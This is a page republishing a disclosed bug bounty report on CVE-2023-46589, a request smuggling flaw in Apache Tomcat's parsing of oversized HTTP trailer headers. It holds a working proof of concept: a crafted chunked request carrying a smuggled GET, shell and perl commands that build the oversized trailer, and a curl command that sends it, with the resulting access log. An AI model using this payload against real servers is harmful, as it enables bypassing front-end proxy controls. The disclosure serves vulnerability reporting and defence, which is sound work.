Possibility of Request smuggling attack
Tomcat did not correctly parse HTTP trailer headers, and a specially crafted trailer exceeding the header size limit could make Tomcat treat one request as multiple requests. When Tomcat sits behind a reverse proxy, this could lead to request smuggling.
Originally disclosed on HackerOne
- Triaged in 8 days
- Fixed in 11 days
- Paid in 11 days
- Disclosed after 11 days
Summary by the program
CVE-2023-46589 Apache Tomcat - Request Smuggling Severity: Important
Description: Tomcat did not correctly parse HTTP trailer headers. A specially crafted trailer header that exceeded the header size limit could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy.
Credit: This vulnerability was reported responsibly to the Tomcat security team by Norihito Aimoto (OSSTech Corporation).
Full Security Advisory: https://lists.apache.org/thread/0rqq6ktozqc42ro8hhxdmmdjm1k1tpxr
The report
Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header. Confirmed with tomcat version 9.0.82.
- example
POST /examples/test.jsp HTTP/1.1
Host: www.example.co.jp
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Connection: KeepAlive
5
foo=b
2
ar
0
testtrailer: aaaaa...(large size)
a: GET /examples/?this_is_attack HTTP/1.1
Host: attack
- Reproduce with the following steps:
$ git clone https://github.com/oss-aimoto/tomcat-trailer.git
$ cd tomcat-trailer
$ docker-compose build
$ docker-compose up -d
$ echo -n "testtrailer: " > 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ for i in `seq 8179`; do echo -n "a"; done >> 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ perl -e 'print "\r\n"' >> 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ head -11 base.txt > attack5.txt
$ cat 8190_EXCLUDE_COLON_SP_CR_LF.txt >> attack5.txt
$ perl -e 'print "a: GET /examples/?this_is_attack HTTP/1.1\r\nHost: attack\r\n\r\n"' >> attack5.txt
$ cat attack5.txt | curl telnet://localhost:8082/ --output -
The result of curl is two HTTP responses("/examples/test.jsp" and "/examples/?this_is_attack"). Two requests are recorded in the Tomcat access log.
192.168.128.1 - - [23/Oct/2023:06:55:37 +0000] "POST /examples/test.jsp HTTP/1.1" 200 58
192.168.128.1 - - [23/Oct/2023:06:55:37 +0000] "GET /examples/?this_is_attack HTTP/1.1" 200 1126
Impact
A trailer header that exceeded the header size limit could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely an error while parsing trailer headers that exceed the size limit, which caused Tomcat to split a single request into two.
Impact
When Tomcat is behind a reverse proxy, an attacker could smuggle requests, potentially causing the proxy and back end to disagree about request boundaries.
What the attacker needed
Tomcat behind a reverse proxy; Ability to send crafted HTTP requests
How it was found
- Build and start the provided Docker test environment.
- Create a trailer header file whose value is longer than the header size limit.
- Combine a base request with the oversized trailer and an appended second request.
- Send the combined request to the Tomcat port with curl over telnet.
- Observe two HTTP responses and two entries in the Tomcat access log.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website sits behind a front-end server (a reverse proxy), the front end and the back end must agree on where one HTTP request ends and the next begins. Here, a malformed trailer header made the back-end Tomcat see two requests where the front end saw one, so an attacker could sneak an extra request past the front end. That is called request smuggling.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.